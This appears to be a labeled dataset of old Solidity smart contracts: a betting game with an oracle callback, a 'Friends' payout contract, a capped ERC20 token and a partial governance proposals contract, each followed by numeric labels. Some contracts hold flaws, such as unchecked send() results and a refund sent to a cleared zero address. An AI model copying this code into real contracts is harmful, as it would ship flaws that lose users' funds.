if( ( bets[i].betPrice == betPrices[betpriceid])&&(bets[i].betState == BET_STATE_WAITPAIR)){
waitPairBetIDs[betpriceid] = i;
return;
}
}
waitPairBetIDs[betpriceid] = INVALID_BET_ID;
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public
{
if (msg.sender != oraclize_cbAddress()) throw;
uint betid = oraclizeQueryID2BetID[_queryId];
if(bets[betid].playerAddressA == address(0x0)) throw;
if(bets[betid].playerAddressB == address(0x0)) throw;
if(bets[betid].betState != BET_STATE_WAITORACLIZE) throw;
LOG_ORACLIZE_CALLBACK(betid,_queryId,_result,_proof);
if ( oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
cancelBet(betid,false,BET_STATE_CANCEL_BY_ORACLIZE_ERROR_RANDOM_NUMBER);
} else {
uint maxRange = 2**(8 * 2);
uint randomNumber = uint(sha3(_result)) % maxRange;
uint randomA = randomNumber >> 8;
uint randomB = randomNumber & 0x00FF;
bets[betid].numberRolled = randomNumber;
uint winAmount = 2 * bets[betid].betPrice - 2 * ( bets[betid].betPrice * betFee / 10000 ) - bets[betid].oraclizeFee;
bool senderror = false;
if(randomA == randomB){
cancelBet(betid,true,BET_STATE_CANCEL_BY_RANDOM_NUMBER_A_EUQAL_B);
}else{
address win;
address lose;
if(randomA > randomB){
win = bets[betid].playerAddressA;
lose = bets[betid].playerAddressB;
}else{
win = bets[betid].playerAddressB;
lose = bets[betid].playerAddressA;
}
if(!win.send(winAmount)){
address2SendErrorValue[win] += winAmount;
LOG_SEND_ERROR(betid,win,winAmount);
}
if(!lose.send(1)){
address2SendErrorValue[lose] += 1;
LOG_SEND_ERROR(betid,lose,1);
}
bets[betid].betState = BET_STATE_END;
}
}
}
function cancelBetByPlayer(uint betid) public
onlyBetCanCancel(betid)
{
if (bets[betid].playerAddressA == msg.sender)
cancelBetByA(betid);
else if (bets[betid].playerAddressB == msg.sender)
cancelBetByB(betid);
else
throw;
}
function cancelBetByA(uint betid)
private
{
if(bets[betid].playerAddressB != address(0x0)){
bets[betid].playerAddressA = bets[betid].playerAddressB;
bets[betid].playerAddressB = address(0x0);
bets[betid].betState = BET_STATE_WAITPAIR;
uint betpriceid = getBetPriceID(bets[betid].betPrice);
waitPairBetIDs[betpriceid] = betid;
}else{
bets[betid].betState = BET_STATE_CANCEL_BY_PLAYER;
refreshWaitPairBetIDsByCancelBet(betid);
}
sendCancelValue(bets[betid].playerAddressA ,betid,false);
}
function cancelBetByB(uint betid)
private
{
bets[betid].playerAddressB = address(0x0);
bets[betid].betState = BET_STATE_WAITPAIR;
uint betpriceid = getBetPriceID(bets[betid].betPrice);
waitPairBetIDs[betpriceid] = betid;
sendCancelValue(bets[betid].playerAddressB ,betid,false);
}
function cancelBetByOwner(uint betid) public
onlyOwner
{
cancelBet(betid,false,BET_STATE_CANCEL_BY_OWNER);
}
function cancelBet(uint betid,bool fee,uint betstate)
private
onlyBetCanCancel(betid)
{
sendCancelValue(bets[betid].playerAddressA ,betid,fee);
if(bets[betid].playerAddressB != address(0x0)){
sendCancelValue(bets[betid].playerAddressB ,betid,fee);
}
bets[betid].betState = betstate;
refreshWaitPairBetIDsByCancelBet(betid);
}
function refreshWaitPairBetIDsByCancelBet(uint betid)
private
{
for( uint i = 0 ;i<waitPairBetIDs.length;i++){
if(waitPairBetIDs[i] == betid){
findNextwaitPairBetIDs(i , betid);
break;
}
}
}
function sendCancelValue(address receiver,uint betid,bool fee)
private
{
uint cancelAmount = bets[betid].betPrice - bets[betid].betPrice * (fee ? betFee : 0) / 10000 - bets[betid].oraclizeFee / 2;
if(!receiver.send(cancelAmount)){
address2SendErrorValue[receiver] += cancelAmount;
LOG_SEND_ERROR(betid,receiver,cancelAmount);
}
}
function getBets(uint start , uint length) public
constant
returns(uint[])
{
if(start >= bets.length) throw;
if(length == 0) throw;
if(start+length > bets.length)
length = bets.length - start;
uint[] memory result = new uint[](length*6);
for (uint i = 0; i < length; i++){
result[i*6] = bets[start+i].betPrice;
result[i*6+1] = bets[start+i].betState;
result[i*6+2] = uint(bets[start+i].playerAddressA);
result[i*6+3] = uint(bets[start+i].playerAddressB);
result[i*6+4] = bets[start+i].numberRolled;
result[i*6+5] = bets[start+i].oraclizeFee;
}
return result;
}
function getBetsLength() public
constant
returns(uint)
{
return bets.length;
}
function getBetWaitEndEther() public
constant
returns(uint result)
{
for(uint i=1; i < bets.length ; i++){
if( bets[i].betState == BET_STATE_WAITPAIR ){
result += bets[i].betPrice;
}else if ( bets[i].betState == BET_STATE_WAITORACLIZE ){
result += bets[i].betPrice * 2;
}
}
return result;
}
function getOraclizePrice() public
constant
returns (uint)
{
return oraclize_getPrice("random", oraclizeCallbackGasLimit);
}
} | 0 | 1,353 |
contract Friends {
address public owner;
mapping (address => Friend) public friends;
uint defaultPayout = .1 ether;
struct Friend {
bool isFriend;
bool hasWithdrawn;
}
modifier onlyOwner {
require(msg.sender==owner);
_;
}
function Friends() {
owner = msg.sender;
}
function deposit() payable {
}
function addFriend(address _f) onlyOwner {
friends[_f].isFriend = true;
}
function withdraw() {
require (friends[msg.sender].isFriend && !friends[msg.sender].hasWithdrawn);
friends[msg.sender].hasWithdrawn = true;
msg.sender.send(defaultPayout);
}
function ownerWithdrawAll() onlyOwner {
owner.send(this.balance);
}
} | 0 | 470 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address internal owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public returns (bool) {
require(newOwner != address(0x0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract OMMToken is CappedToken {
string public constant name = "OMM Token";
string public constant symbol = "OMM";
uint8 public constant decimals = 18;
constructor()
CappedToken(4_000_000_000 ether) public
{
}
} | 1 | 2,703 |
pragma solidity ^0.4.17;
contract ApplicationEntityABI {
address public ProposalsEntity;
address public FundingEntity;
address public MilestonesEntity;
address public MeetingsEntity;
address public BountyManagerEntity;
address public TokenManagerEntity;
address public ListingContractEntity;
address public FundingManagerEntity;
address public NewsContractEntity;
bool public _initialized = false;
bool public _locked = false;
uint8 public CurrentEntityState;
uint8 public AssetCollectionNum;
address public GatewayInterfaceAddress;
address public deployerAddress;
address testAddressAllowUpgradeFrom;
mapping (bytes32 => uint8) public EntityStates;
mapping (bytes32 => address) public AssetCollection;
mapping (uint8 => bytes32) public AssetCollectionIdToName;
mapping (bytes32 => uint256) public BylawsUint256;
mapping (bytes32 => bytes32) public BylawsBytes32;
function ApplicationEntity() public;
function getEntityState(bytes32 name) public view returns (uint8);
function linkToGateway( address _GatewayInterfaceAddress, bytes32 _sourceCodeUrl ) external;
function setUpgradeState(uint8 state) public ;
function addAssetProposals(address _assetAddresses) external;
function addAssetFunding(address _assetAddresses) external;
function addAssetMilestones(address _assetAddresses) external;
function addAssetMeetings(address _assetAddresses) external;
function addAssetBountyManager(address _assetAddresses) external;
function addAssetTokenManager(address _assetAddresses) external;
function addAssetFundingManager(address _assetAddresses) external;
function addAssetListingContract(address _assetAddresses) external;
function addAssetNewsContract(address _assetAddresses) external;
function getAssetAddressByName(bytes32 _name) public view returns (address);
function setBylawUint256(bytes32 name, uint256 value) public;
function getBylawUint256(bytes32 name) public view returns (uint256);
function setBylawBytes32(bytes32 name, bytes32 value) public;
function getBylawBytes32(bytes32 name) public view returns (bytes32);
function initialize() external returns (bool);
function getParentAddress() external view returns(address);
function createCodeUpgradeProposal( address _newAddress, bytes32 _sourceCodeUrl ) external returns (uint256);
function acceptCodeUpgradeProposal(address _newAddress) external;
function initializeAssetsToThisApplication() external returns (bool);
function transferAssetsToNewApplication(address _newAddress) external returns (bool);
function lock() external returns (bool);
function canInitiateCodeUpgrade(address _sender) public view returns(bool);
function doStateChanges() public;
function hasRequiredStateChanges() public view returns (bool);
function anyAssetHasChanges() public view returns (bool);
function extendedAnyAssetHasChanges() internal view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8);
function getTimestamp() view public returns (uint256);
}
contract ApplicationAsset {
event EventAppAssetOwnerSet(bytes32 indexed _name, address indexed _owner);
event EventRunBeforeInit(bytes32 indexed _name);
event EventRunBeforeApplyingSettings(bytes32 indexed _name);
mapping (bytes32 => uint8) public EntityStates;
mapping (bytes32 => uint8) public RecordStates;
uint8 public CurrentEntityState;
event EventEntityProcessor(bytes32 indexed _assetName, uint8 indexed _current, uint8 indexed _required);
event DebugEntityRequiredChanges( bytes32 _assetName, uint8 indexed _current, uint8 indexed _required );
bytes32 public assetName;
uint8 public RecordNum = 0;
bool public _initialized = false;
bool public _settingsApplied = false;
address public owner = address(0x0) ;
address public deployerAddress;
function ApplicationAsset() public {
deployerAddress = msg.sender;
}
function setInitialApplicationAddress(address _ownerAddress) public onlyDeployer requireNotInitialised {
owner = _ownerAddress;
}
function setInitialOwnerAndName(bytes32 _name) external
requireNotInitialised
onlyOwner
returns (bool)
{
setAssetStates();
assetName = _name;
CurrentEntityState = getEntityState("NEW");
runBeforeInitialization();
_initialized = true;
EventAppAssetOwnerSet(_name, owner);
return true;
}
function setAssetStates() internal {
EntityStates["__IGNORED__"] = 0;
EntityStates["NEW"] = 1;
RecordStates["__IGNORED__"] = 0;
}
function getRecordState(bytes32 name) public view returns (uint8) {
return RecordStates[name];
}
function getEntityState(bytes32 name) public view returns (uint8) {
return EntityStates[name];
}
function runBeforeInitialization() internal requireNotInitialised {
EventRunBeforeInit(assetName);
}
function applyAndLockSettings()
public
onlyDeployer
requireInitialised
requireSettingsNotApplied
returns(bool)
{
runBeforeApplyingSettings();
_settingsApplied = true;
return true;
}
function runBeforeApplyingSettings() internal requireInitialised requireSettingsNotApplied {
EventRunBeforeApplyingSettings(assetName);
}
function transferToNewOwner(address _newOwner) public requireInitialised onlyOwner returns (bool) {
require(owner != address(0x0) && _newOwner != address(0x0));
owner = _newOwner;
EventAppAssetOwnerSet(assetName, owner);
return true;
}
function getApplicationAssetAddressByName(bytes32 _name)
public
view
returns(address)
{
address asset = ApplicationEntityABI(owner).getAssetAddressByName(_name);
if( asset != address(0x0) ) {
return asset;
} else {
revert();
}
}
function getApplicationState() public view returns (uint8) {
return ApplicationEntityABI(owner).CurrentEntityState();
}
function getApplicationEntityState(bytes32 name) public view returns (uint8) {
return ApplicationEntityABI(owner).getEntityState(name);
}
function getAppBylawUint256(bytes32 name) public view requireInitialised returns (uint256) {
ApplicationEntityABI CurrentApp = ApplicationEntityABI(owner);
return CurrentApp.getBylawUint256(name);
}
function getAppBylawBytes32(bytes32 name) public view requireInitialised returns (bytes32) {
ApplicationEntityABI CurrentApp = ApplicationEntityABI(owner);
return CurrentApp.getBylawBytes32(name);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyApplicationEntity() {
require(msg.sender == owner);
_;
}
modifier requireInitialised() {
require(_initialized == true);
_;
}
modifier requireNotInitialised() {
require(_initialized == false);
_;
}
modifier requireSettingsApplied() {
require(_settingsApplied == true);
_;
}
modifier requireSettingsNotApplied() {
require(_settingsApplied == false);
_;
}
modifier onlyDeployer() {
require(msg.sender == deployerAddress);
_;
}
modifier onlyAsset(bytes32 _name) {
address AssetAddress = getApplicationAssetAddressByName(_name);
require( msg.sender == AssetAddress);
_;
}
function getTimestamp() view public returns (uint256) {
return now;
}
}
contract ABIToken {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
string public version;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowed;
address public manager;
address public deployer;
bool public mintingFinished = false;
bool public initialized = false;
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address _owner) public view returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function increaseApproval(address _spender, uint _addedValue) public returns (bool success);
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success);
function mint(address _to, uint256 _amount) public returns (bool);
function finishMinting() public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 indexed value);
event Approval(address indexed owner, address indexed spender, uint256 indexed value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
}
contract ABIApplicationAsset {
bytes32 public assetName;
uint8 public CurrentEntityState;
uint8 public RecordNum;
bool public _initialized;
bool public _settingsApplied;
address public owner;
address public deployerAddress;
mapping (bytes32 => uint8) public EntityStates;
mapping (bytes32 => uint8) public RecordStates;
function setInitialApplicationAddress(address _ownerAddress) public;
function setInitialOwnerAndName(bytes32 _name) external returns (bool);
function getRecordState(bytes32 name) public view returns (uint8);
function getEntityState(bytes32 name) public view returns (uint8);
function applyAndLockSettings() public returns(bool);
function transferToNewOwner(address _newOwner) public returns (bool);
function getApplicationAssetAddressByName(bytes32 _name) public returns(address);
function getApplicationState() public view returns (uint8);
function getApplicationEntityState(bytes32 name) public view returns (uint8);
function getAppBylawUint256(bytes32 name) public view returns (uint256);
function getAppBylawBytes32(bytes32 name) public view returns (bytes32);
function getTimestamp() view public returns (uint256);
}
contract ABITokenManager is ABIApplicationAsset {
address public TokenSCADAEntity;
address public TokenEntity;
address public MarketingMethodAddress;
bool OwnerTokenBalancesReleased = false;
function addSettings(address _scadaAddress, address _tokenAddress, address _marketing ) public;
function getTokenSCADARequiresHardCap() public view returns (bool);
function mint(address _to, uint256 _amount) public returns (bool);
function finishMinting() public returns (bool);
function mintForMarketingPool(address _to, uint256 _amount) external returns (bool);
function ReleaseOwnersLockedTokens(address _multiSigOutputAddress) public returns (bool);
}
contract ABIListingContract is ABIApplicationAsset {
address public managerAddress;
struct item {
bytes32 name;
address itemAddress;
bool status;
uint256 index;
}
mapping ( uint256 => item ) public items;
uint256 public itemNum;
function setManagerAddress(address _manager) public;
function addItem(bytes32 _name, address _address) public;
function getNewsContractAddress(uint256 _childId) external view returns (address);
function canBeDelisted(uint256 _childId) public view returns (bool);
function getChildStatus( uint256 _childId ) public view returns (bool);
function delistChild( uint256 _childId ) public;
}
contract ABIFunding is ABIApplicationAsset {
address public multiSigOutputAddress;
address public DirectInput;
address public MilestoneInput;
address public TokenManagerEntity;
address public FundingManagerEntity;
struct FundingStage {
bytes32 name;
uint8 state;
uint256 time_start;
uint256 time_end;
uint256 amount_cap_soft;
uint256 amount_cap_hard;
uint256 amount_raised;
uint256 minimum_entry;
uint8 methods;
uint256 fixed_tokens;
uint8 price_addition_percentage;
uint8 token_share_percentage;
uint8 index;
}
mapping (uint8 => FundingStage) public Collection;
uint8 public FundingStageNum;
uint8 public currentFundingStage;
uint256 public AmountRaised;
uint256 public MilestoneAmountRaised;
uint256 public GlobalAmountCapSoft;
uint256 public GlobalAmountCapHard;
uint8 public TokenSellPercentage;
uint256 public Funding_Setting_funding_time_start;
uint256 public Funding_Setting_funding_time_end;
uint256 public Funding_Setting_cashback_time_start;
uint256 public Funding_Setting_cashback_time_end;
uint256 public Funding_Setting_cashback_before_start_wait_duration;
uint256 public Funding_Setting_cashback_duration;
function addFundingStage(
bytes32 _name,
uint256 _time_start,
uint256 _time_end,
uint256 _amount_cap_soft,
uint256 _amount_cap_hard,
uint8 _methods,
uint256 _minimum_entry,
uint256 _fixed_tokens,
uint8 _price_addition_percentage,
uint8 _token_share_percentage
)
public;
function addSettings(address _outputAddress, uint256 soft_cap, uint256 hard_cap, uint8 sale_percentage, address _direct, address _milestone ) public;
function getStageAmount(uint8 StageId) public view returns ( uint256 );
function allowedPaymentMethod(uint8 _payment_method) public pure returns (bool);
function receivePayment(address _sender, uint8 _payment_method) payable public returns(bool);
function canAcceptPayment(uint256 _amount) public view returns (bool);
function getValueOverCurrentCap(uint256 _amount) public view returns (uint256);
function isFundingStageUpdateAllowed(uint8 _new_state ) public view returns (bool);
function getRecordStateRequiredChanges() public view returns (uint8);
function doStateChanges() public;
function hasRequiredStateChanges() public view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8, uint8);
}
contract ABIFundingManager is ABIApplicationAsset {
bool public fundingProcessed;
bool FundingPoolBalancesAllocated;
uint8 public VaultCountPerProcess;
uint256 public lastProcessedVaultId;
uint256 public vaultNum;
uint256 public LockedVotingTokens;
bytes32 public currentTask;
mapping (bytes32 => bool) public taskByHash;
mapping (address => address) public vaultList;
mapping (uint256 => address) public vaultById;
function receivePayment(address _sender, uint8 _payment_method, uint8 _funding_stage) payable public returns(bool);
function getMyVaultAddress(address _sender) public view returns (address);
function setVaultCountPerProcess(uint8 _perProcess) external;
function getHash(bytes32 actionType, bytes32 arg1) public pure returns ( bytes32 );
function getCurrentMilestoneProcessed() public view returns (bool);
function processFundingFailedFinished() public view returns (bool);
function processFundingSuccessfulFinished() public view returns (bool);
function getCurrentMilestoneIdHash() internal view returns (bytes32);
function processMilestoneFinished() public view returns (bool);
function processEmergencyFundReleaseFinished() public view returns (bool);
function getAfterTransferLockedTokenBalances(address vaultAddress, bool excludeCurrent) public view returns (uint256);
function VaultRequestedUpdateForLockedVotingTokens(address owner) public;
function doStateChanges() public;
function hasRequiredStateChanges() public view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8);
function ApplicationInFundingOrDevelopment() public view returns(bool);
}
contract ABIMilestones is ABIApplicationAsset {
struct Record {
bytes32 name;
string description;
uint8 state;
uint256 duration;
uint256 time_start;
uint256 last_state_change_time;
uint256 time_end;
uint256 time_ended;
uint256 meeting_time;
uint8 funding_percentage;
uint8 index;
}
uint8 public currentRecord;
uint256 public MilestoneCashBackTime = 0;
mapping (uint8 => Record) public Collection;
mapping (bytes32 => bool) public MilestonePostponingHash;
mapping (bytes32 => uint256) public ProposalIdByHash;
function getBylawsProjectDevelopmentStart() public view returns (uint256);
function getBylawsMinTimeInTheFutureForMeetingCreation() public view returns (uint256);
function getBylawsCashBackVoteRejectedDuration() public view returns (uint256);
function addRecord( bytes32 _name, string _description, uint256 _duration, uint8 _perc ) public;
function getMilestoneFundingPercentage(uint8 recordId) public view returns (uint8);
function doStateChanges() public;
function getRecordStateRequiredChanges() public view returns (uint8);
function hasRequiredStateChanges() public view returns (bool);
function afterVoteNoCashBackTime() public view returns ( bool );
function getHash(uint8 actionType, bytes32 arg1, bytes32 arg2) public pure returns ( bytes32 );
function getCurrentHash() public view returns ( bytes32 );
function getCurrentProposalId() internal view returns ( uint256 );
function setCurrentMilestoneMeetingTime(uint256 _meeting_time) public;
function isRecordUpdateAllowed(uint8 _new_state ) public view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8, uint8);
function ApplicationIsInDevelopment() public view returns(bool);
function MeetingTimeSetFailure() public view returns (bool);
}
contract Proposals is ApplicationAsset {
ApplicationEntityABI public Application;
ABIListingContract public ListingContractEntity;
ABIFunding public FundingEntity;
ABIFundingManager public FundingManagerEntity;
ABITokenManager public TokenManagerEntity;
ABIToken public TokenEntity;
ABIMilestones public MilestonesEntity;
function getRecordState(bytes32 name) public view returns (uint8) {
return RecordStates[name];
}
function getActionType(bytes32 name) public view returns (uint8) {
return ActionTypes[name];
}
function getProposalState(uint256 _proposalId) public view returns (uint8) {
return ProposalsById[_proposalId].state;
}
mapping (bytes32 => uint8) public ActionTypes;
function setActionTypes() internal {
ActionTypes["MILESTONE_DEADLINE"] = 1;
ActionTypes["MILESTONE_POSTPONING"] = 2;
ActionTypes["EMERGENCY_FUND_RELEASE"] = 60;
ActionTypes["IN_DEVELOPMENT_CODE_UPGRADE"] = 50;
ActionTypes["AFTER_COMPLETE_CODE_UPGRADE"] = 51;
ActionTypes["PROJECT_DELISTING"] = 75;
}
function setAssetStates() internal {
setActionTypes();
RecordStates["NEW"] = 1;
RecordStates["ACCEPTING_VOTES"] = 2;
RecordStates["VOTING_ENDED"] = 3;
RecordStates["VOTING_RESULT_YES"] = 10;
RecordStates["VOTING_RESULT_NO"] = 20;
}
event EventNewProposalCreated ( bytes32 indexed _hash, uint256 indexed _proposalId );
function runBeforeApplyingSettings()
internal
requireInitialised
requireSettingsNotApplied
{
address FundingAddress = getApplicationAssetAddressByName('Funding');
FundingEntity = ABIFunding(FundingAddress);
address FundingManagerAddress = getApplicationAssetAddressByName('FundingManager');
FundingManagerEntity = ABIFundingManager(FundingManagerAddress);
address TokenManagerAddress = getApplicationAssetAddressByName('TokenManager');
TokenManagerEntity = ABITokenManager(TokenManagerAddress);
TokenEntity = ABIToken(TokenManagerEntity.TokenEntity());
address ListingContractAddress = getApplicationAssetAddressByName('ListingContract');
ListingContractEntity = ABIListingContract(ListingContractAddress);
address MilestonesContractAddress = getApplicationAssetAddressByName('Milestones');
MilestonesEntity = ABIMilestones(MilestonesContractAddress);
EventRunBeforeApplyingSettings(assetName);
}
function getBylawsProposalVotingDuration() public view returns (uint256) {
return getAppBylawUint256("proposal_voting_duration");
}
function getBylawsMilestoneMinPostponing() public view returns (uint256) {
return getAppBylawUint256("min_postponing");
}
function getBylawsMilestoneMaxPostponing() public view returns (uint256) {
return getAppBylawUint256("max_postponing");
}
function getHash(uint8 actionType, bytes32 arg1, bytes32 arg2) public pure returns ( bytes32 ) {
return keccak256(actionType, arg1, arg2);
}
mapping (uint8 => uint256) public ActiveProposalIds;
uint8 public ActiveProposalNum = 0;
mapping (uint256 => bool) public ExpiredProposalIds;
function process() public onlyApplicationEntity {
for(uint8 i = 0; i < ActiveProposalNum; i++) {
if(
getProposalType(ActiveProposalIds[i]) == getActionType("PROJECT_DELISTING") ||
getProposalType(ActiveProposalIds[i]) == getActionType("AFTER_COMPLETE_CODE_UPGRADE")
) {
ProcessVoteTotals( ActiveProposalIds[i], VoteCountPerProcess );
} else {
tryEndVoting(ActiveProposalIds[i]);
}
}
}
function hasRequiredStateChanges() public view returns (bool) {
for(uint8 i = 0; i < ActiveProposalNum; i++) {
if( needsProcessing( ActiveProposalIds[i] ) ) {
return true;
}
}
return false;
}
function getRequiredStateChanges() public view returns (uint8) {
if(hasRequiredStateChanges()) {
return ActiveProposalNum;
}
return 0;
}
function addCodeUpgradeProposal(address _addr, bytes32 _sourceCodeUrl)
external
onlyApplicationEntity
returns (uint256)
{
uint8 thisAction;
if(getApplicationState() == getApplicationEntityState("IN_DEVELOPMENT") ) {
thisAction = getActionType("IN_DEVELOPMENT_CODE_UPGRADE");
} else if(getApplicationState() == getApplicationEntityState("DEVELOPMENT_COMPLETE") ) {
thisAction = getActionType("AFTER_COMPLETE_CODE_UPGRADE");
}
return createProposal(
msg.sender,
"CODE_UPGRADE",
getHash( thisAction, bytes32(_addr), 0 ),
thisAction,
_addr,
_sourceCodeUrl,
0
);
}
function createMilestoneAcceptanceProposal()
external
onlyAsset("Milestones")
returns (uint256)
{
uint8 recordId = MilestonesEntity.currentRecord();
return createProposal(
msg.sender,
"MILESTONE_DEADLINE",
getHash( getActionType("MILESTONE_DEADLINE"), bytes32( recordId ), 0 ),
getActionType("MILESTONE_DEADLINE"),
0,
0,
uint256(recordId)
);
}
function createMilestonePostponingProposal(uint256 _duration)
external
onlyDeployer
returns (uint256)
{
if(_duration >= getBylawsMilestoneMinPostponing() && _duration <= getBylawsMilestoneMaxPostponing() ) {
uint8 recordId = MilestonesEntity.currentRecord();
return createProposal(
msg.sender,
"MILESTONE_POSTPONING",
getHash( getActionType("MILESTONE_POSTPONING"), bytes32( recordId ), 0 ),
getActionType("MILESTONE_POSTPONING"),
0,
0,
_duration
);
} else {
revert();
}
}
function getCurrentMilestonePostponingProposalDuration() public view returns (uint256) {
uint8 recordId = MilestonesEntity.currentRecord();
bytes32 hash = getHash( getActionType("MILESTONE_POSTPONING"), bytes32( recordId ), 0 );
ProposalRecord memory proposal = ProposalsById[ ProposalIdByHash[hash] ];
return proposal.extra;
}
function getCurrentMilestoneProposalStatusForType(uint8 _actionType ) public view returns (uint8) {
if(_actionType == getActionType("MILESTONE_DEADLINE") || _actionType == getActionType("MILESTONE_POSTPONING")) {
uint8 recordId = MilestonesEntity.currentRecord();
bytes32 hash = getHash( _actionType, bytes32( recordId ), 0 );
uint256 ProposalId = ProposalIdByHash[hash];
ProposalRecord memory proposal = ProposalsById[ProposalId];
return proposal.state;
}
return 0;
}
function createEmergencyFundReleaseProposal()
external
onlyDeployer
returns (uint256)
{
return createProposal(
msg.sender,
"EMERGENCY_FUND_RELEASE",
getHash( getActionType("EMERGENCY_FUND_RELEASE"), 0, 0 ),
getActionType("EMERGENCY_FUND_RELEASE"),
0,
0,
0
);
}
function createDelistingProposal(uint256 _projectId)
external
onlyTokenHolder
returns (uint256)
{
if( ListingContractEntity.canBeDelisted(_projectId) == true) {
return createProposal(
msg.sender,
"PROJECT_DELISTING",
getHash( getActionType("PROJECT_DELISTING"), bytes32(_projectId), 0 ),
getActionType("PROJECT_DELISTING"),
0,
0,
_projectId
);
} else {
revert();
}
}
modifier onlyTokenHolder() {
require( getTotalTokenVotingPower(msg.sender) > 0 );
_;
}
struct ProposalRecord {
address creator;
bytes32 name;
uint8 actionType;
uint8 state;
bytes32 hash;
address addr;
bytes32 sourceCodeUrl;
uint256 extra;
uint256 time_start;
uint256 time_end;
uint256 index;
}
mapping (uint256 => ProposalRecord) public ProposalsById;
mapping (bytes32 => uint256) public ProposalIdByHash;
function createProposal(
address _creator,
bytes32 _name,
bytes32 _hash,
uint8 _action,
address _addr,
bytes32 _sourceCodeUrl,
uint256 _extra
)
internal
returns (uint256)
{
if(ProposalIdByHash[_hash] == 0) {
ProposalRecord storage proposal = ProposalsById[++RecordNum];
proposal.creator = _creator;
proposal.name = _name;
proposal.actionType = _action;
proposal.addr = _addr;
proposal.sourceCodeUrl = _sourceCodeUrl;
proposal.extra = _extra;
proposal.hash = _hash;
proposal.state = getRecordState("NEW");
proposal.time_start = getTimestamp();
proposal.time_end = getTimestamp() + getBylawsProposalVotingDuration();
proposal.index = RecordNum;
ProposalIdByHash[_hash] = RecordNum;
} else {
revert();
}
initProposalVoting(RecordNum);
EventNewProposalCreated ( _hash, RecordNum );
return RecordNum;
}
function acceptCodeUpgrade(uint256 _proposalId) internal {
ProposalRecord storage proposal = ProposalsById[_proposalId];
Application = ApplicationEntityABI(owner);
Application.acceptCodeUpgradeProposal(proposal.addr);
}
function initProposalVoting(uint256 _proposalId) internal {
ResultRecord storage result = ResultsByProposalId[_proposalId];
ProposalRecord storage proposal = ProposalsById[_proposalId];
if(getApplicationState() == getApplicationEntityState("IN_DEVELOPMENT") ) {
if(proposal.actionType == getActionType("PROJECT_DELISTING") ) {
uint256 ownerLockedTokens = TokenEntity.balanceOf(TokenManagerEntity);
result.totalAvailable = TokenEntity.totalSupply() - ownerLockedTokens;
result.requiresCounting = true;
} else {
result.totalAvailable = FundingManagerEntity.LockedVotingTokens();
result.requiresCounting = false;
}
} else if(getApplicationState() == getApplicationEntityState("DEVELOPMENT_COMPLETE") ) {
